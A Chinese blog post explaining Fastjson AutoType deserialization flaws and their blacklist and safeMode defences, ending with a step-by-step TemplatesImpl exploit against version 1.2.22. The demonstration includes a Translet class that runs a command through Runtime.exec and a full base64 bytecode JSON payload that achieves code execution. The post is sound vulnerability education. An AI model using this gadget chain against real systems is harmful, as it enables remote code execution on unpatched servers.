怎么做公司网站需要什么,网站群 seo,wordpress自己添加的菜单怎么删除,js建设网站文章目录 1、频繁出现的反序列化漏洞2、parse()及parseObject()3、AutoType及安全校验3.1 AutoType安全校验3.2 AutoType黑名单机制3.3 SafeMode安全机制3.4 攻击思路4、反序列化攻击模拟4.1 TemplatesImpl攻击调用链路4.2 攻击类Translet生成4.3 构造攻击JSON串4.4 攻击模拟5、… 文章目录 1、频繁出现的反序列化漏洞2、parse()及parseObject()3、AutoType及安全校验3.1 AutoType安全校验3.2 AutoType黑名单机制3.3 SafeMode安全机制3.4 攻击思路4、反序列化攻击模拟4.1 TemplatesImpl攻击调用链路4.2 攻击类Translet生成4.3 构造攻击JSON串4.4 攻击模拟5、修复方案 1、频繁出现的反序列化漏洞 Fastjson1.2.80 反序列化漏洞情报攻击者可以利用该漏洞攻击远程服务器, 可能会造成任意命令执行。在Fastjson1.2.83的版本中通过新的Gadgets链绕过autoType开关在autoType关闭的情况下仍然可能可以绕过黑白名单防御机制实现了反序列化漏洞利用的远程代码执行效果同时此次修复补丁也补充了autoType黑名单Fastjson历史版本中autoType安全黑名单已被多次绕过官方也一直在持续补充增强该黑名单并在1.2.68版本中引入一个safeMode的配置配置safeMode后无论白名单和黑名单都不支持autoType不过默认并未开启该配置。由于autoType开关漏洞利用门槛较低可绕过autoType限制风险影响较大建议尽快更新漏洞修复版本或采用临时缓解措施加固系统。 2、parse()及parseObject()
FastJson中将JSON串反序列化成Java对象的两个常用方法是parse()及parseObject()那么这两者有什么区别呢
定义User测试类如下
package com.company.project.bean;import java.io.Serializable;public class User implements Serializable {private static final long serialVersionUID -8088742348807697485L;private String userName;public User() {System.out.println(call construct method);}public String getUserName() {System.out.println(call get method getUserName);return userName;}public void setUserName(String userName) {System.out.println(call set method setUserName);this.userName userName;}
}fastJson中parse方法或者parseObject都可以将JSON串转化成Java对象定义如下序列化后的Json串做测试
public static void main(String[] args) {String userJson {\type\:\com.company.project.bean.User\,\userName\:\testUserName\};//parseObject测试Object object1 JSON.parseObject(userJson);System.out.println();//parseObject object2 JSON.parse(userJson);}控制台中输出结果如下 根据控制台输出可以看到parseObject方法会调用getter方法而parse方法却不会为什么呢
parse()及parseObject()进行反序列化时的细节区别在于parse() 会识别并调用目标类的 setter 方法而 parseObject() 由于要将返回值转化为JSONObject多执行了 JSON.toJSON(obj)所以在处理过程中会调用反序列化目标类的getter 方法来将参数赋值给JSONObject
也就是说使用AutoType时若使用parseObject方法会触发该类的构造函数、get、set方法
这玩意和漏洞有什么关系呢
3、AutoType及安全校验
要了解FastJson的AutoType反序列化漏洞有必要先说明下FastJson中的AutoType是什么有什么用Fastjson提供了autotype功能允许用户在反序列化数据中通过“type”指定反序列化的Class类型。
3.1 AutoType安全校验
知道了AutoType的作用后假设如下场景服务端接收到的请求Json串中包含了指定恶意代码Class的Type服务端调用JSON.parseObject()时触发了该Class中的构造函数、或者是getter、setter方法中的恶意代码
这不就是反序列化攻击的思路了
当然FastJson的开发者也意识到了这一点这才诞生了AutoType的黑名单机制以及SafeMode安全机制
3.2 AutoType黑名单机制
既然Json串中传入指定不可靠第三方Type类时是有被攻击风险的自然最简单的做法就是在反序列化时首先校验传入的Class是否在黑名单Class列表中FastJson中通过Hash算法将一系列存在安全风险的Class全路径的Hash值存储在黑名单中代码如下: 在传入指定类型Class时会首先判断该类是否在黑名单中如果是则抛出异常代码在com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class?, int)中 既然是黑名单那么其中的风险类自然是要在不断迭代演进中添加的不可能一步到位屏蔽所有风险类这也是为什么FastJson频繁升级来修复漏洞的原因
3.3 SafeMode安全机制
fastjson在1.2.68及之后的版本中引入了safeMode配置safeMode后无论白名单和黑名单都不支持autoType可一定程度上缓解反序列化Gadgets类变种攻击
对应到fastJson反序列化中的代码实现代码在com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class?, int)中
3.4 攻击思路
现在回头再看一眼漏洞描述问题是不是就很清晰了漏洞在两种情况下容易被利用
1、执行AutoType安全校验但新发现了一个黑名单中不存在的Class利用该Class反序列化时执行的恶意代码进行攻击 2、通过某种方法绕过AutoType安全校验
4、反序列化攻击模拟
为了方便演示漏洞下文采用的FastJson版本为1.2.22(高版本中已通过黑名单机制屏蔽该漏洞)。演示利用一个黑名单中不存在的Class(在上文指定的FastJSON 1.2.22版本中还未屏蔽这个风险类)来执行攻击
4.1 TemplatesImpl攻击调用链路
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是历史上出现过存在FastJson反序列漏洞的一个第三方类上文已经提到过JSON串中传入指定类型Class时调用parseObject方法反序列时会调用该Class的get、set及构造方法那么如果指定JSON串中type为TemplatesImpl时
TemplatesImpl中存在一个get方法为getOutputProperties()其在调用FastJson.parseObject()序列化为Java对象时会被调用getOutputProperties内部调用了newTransformer()方法newTransformer()内部调用了getTransletInstance()方法获取Translet对象获取Translet对象时其通过内部的私有变量_bytecodes生成返回的Translet对象
这里这个_bytecodes私有变量就是整个攻击设计的核心所在虽然FastJson默认只能反序列化公有属性但是可以在JSON串中指定_bytecodes为我们恶意攻击类的字节码同时调用JSON.parseObject(json, Object.class, Feature.SupportNonPublicField)来反序列化私有属性那么_bytecodes就可以是任意指定代码
也就是说如果事先定义好了Translet返回Class类的内容并且在自定义的Translet类的构造函数中实现攻击代码并且把攻击代码转化成字节码传入TemplatesImpl的私有变量_bytecodes中那么反序列化生成TemplatesImpl时就会使用我们自定义的字节码来生成Translet类从而触发Translet构造函数中的攻击代码
所以攻击思路很明显了分为三步
自定义Translet攻击类在构造函数中实现攻击代码根据步骤1生成的字节码来构造攻击JSON串调用JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);反序列化对象从而触发攻击这里必须使用支持私有变量反序列化的Feature虽然条件有点苛刻但这只是众多攻击链路中较为易懂的一种
4.2 攻击类Translet生成
定义如下攻击类EvilClass继承自AbstractTranslet在构造函数中写入自己的攻击代码这里演示只做新增一个文件的操作
package com.company.project.bean;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class EvilClass extends AbstractTranslet {public EvilClass() throws IOException {namesArray new String[]{1, 2};//简单模拟攻击代码操作生成一个txt文件Runtime.getRuntime().exec(/usr/bin/touch /tmp/evilAttack.txt);}Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {}}4.3 构造攻击JSON串
然后将编译后的.class字节码文件进行base64编码最后使用生成的字节码的base64编码来生成攻击JSON串
FastJson提取byte[]数组字段值时会进行Base64解码所以我们构造payload时需要对 _bytecodes 进行Base64处理
public static void test_autoTypeDeny() throws Exception {final String evilClassPath /Users/didi/IdeaProjects/spring-boot-api-project-seed/target/classes/com/company/project/bean/EvilClass.class;String evilCode readClass(evilClassPath);final String NASTY_CLASS com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;String text1 {\type\:\ NASTY_CLASS \,\_bytecodes\:[\evilCode\],_name:a.b,_tfactory:{ },\_outputProperties\:{ }, \_name\:\a\,\_version\:\1.0\,\allowedProtocols\:\all\}\n;System.out.println(text1);}最后完整的恶意JSON串如下
{type:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,_bytecodes:[yv66vgAAADQANgoACgAiBwAjCAAkCAAlCQAJACYKACcAKAgAKQoAJwAqBwArBwAsAQAGPGluaXQAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzczsBAApFeGNlcHRpb25zBwAtAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAALAAwBABBqYXZhL2xhbmcvU3RyaW5nAQABMQEAATIMAC8AMAcAMQwAMgAzAQAiL3Vzci9iaW4vdG91Y2ggL3RtcC9ldmlsQXR0YWNrLnR4dAwANAA1AQAiY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAKbmFtZXNBcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAADAAEACwAMAAIADQAAAFYABQABAAAAICq3AAEqBb0AAlkDEgNTWQQSBFO1AAW4AAYSB7YACFexAAAAAgAOAAAAEgAEAAAADQAEAA4AFgAQAB8AEQAPAAAADAABAAAAIAAQABEAAAASAAAABAABABMAAQAUABUAAQANAAAASQAAAAQAAAABsQAAAAIADgAAAAYAAQAAABUADwAAACoABAAAAAEAEAARAAAAAAABABYAFwABAAAAAQAYABkAAgAAAAEAGgAbAAMAAQAUABwAAgANAAAAPwAAAAMAAAABsQAAAAIADgAAAAYAAQAAABkADwAAACAAAwAAAAEAEAARAAAAAAABABYAFwABAAAAAQAdAB4AAgASAAAABAABAB8AAQAgAAAAAgAh],_name:a.b,_tfactory:{},_outputProperties:{},_name:a,_version:1.0,allowedProtocols:all
}这个JSON串中最核心的部分是_bytecodes它是要执行的恶意字节码的base64编码type是指定的解析类至于_name、_outputProperties等属性都是TemplatesImpl的私有变量为了避免反序列化时报错随意传入一个值
4.4 攻击模拟
现在假设系统接收到了上述构造的恶意JSON串调用FastJSON的反序列化操作如下所示在反序列化操作的前后分别打印文件是否存在以此来印证攻击代码(简单的生成一个文件)是否生效
public static void main(String[] args) {String json {\type\:\com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\,\_bytecodes\:[\yv66vgAAADQANgoACgAiBwAjCAAkCAAlCQAJACYKACcAKAgAKQoAJwAqBwArBwAsAQAGPGluaXQAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzczsBAApFeGNlcHRpb25zBwAtAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAALAAwBABBqYXZhL2xhbmcvU3RyaW5nAQABMQEAATIMAC8AMAcAMQwAMgAzAQAiL3Vzci9iaW4vdG91Y2ggL3RtcC9ldmlsQXR0YWNrLnR4dAwANAA1AQAiY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAKbmFtZXNBcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAADAAEACwAMAAIADQAAAFYABQABAAAAICq3AAEqBb0AAlkDEgNTWQQSBFO1AAW4AAYSB7YACFexAAAAAgAOAAAAEgAEAAAADQAEAA4AFgAQAB8AEQAPAAAADAABAAAAIAAQABEAAAASAAAABAABABMAAQAUABUAAQANAAAASQAAAAQAAAABsQAAAAIADgAAAAYAAQAAABUADwAAACoABAAAAAEAEAARAAAAAAABABYAFwABAAAAAQAYABkAAgAAAAEAGgAbAAMAAQAUABwAAgANAAAAPwAAAAMAAAABsQAAAAIADgAAAAYAAQAAABkADwAAACAAAwAAAAEAEAARAAAAAAABABYAFwABAAAAAQAdAB4AAgASAAAABAABAB8AAQAgAAAAAgAh\],_name:a.b,_tfactory:{ },\_outputProperties\:{ },\_name\:\a\,\_version\:\1.0\,\allowedProtocols\:\all\};//开启autoType支持File fileBeforeAttack new File(/tmp/evilAttack.txt);System.out.println(before JSON.parseObject:fileBeforeAttack.exists());//反序列化传入的攻击json串Object obj JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);File fileAfterAttack new File(/tmp/evilAttack.txt);System.out.println(after JSON.parseObject:fileAfterAttack.exists());}执行后命令行中输出如下说明我们构造的恶意代码被成功执行 最后debug到恶意代码执行处看下反序列化时的调用链路如图所示 最底层触发的入口为JSON.parseObject后面反序列化时调用TemplatesImpl#getOutProperties方法最终使用TemplatesImpl类内部私有的_bytecodes生成我们自定义的攻击Class从触发到自定义类的构造函数中的恶意代码。
当然Fastjson在高版本中已经采用了黑名单机制来屏蔽了TemplatesImpl类
不管如何我们在使用开源的第三方库时需关注官方的版本迭代防止潜在的漏洞产生危害
5、修复方案
你用别人的东西能咋办升级啊。。。 vHuohuyunSec https://huohuyun.net/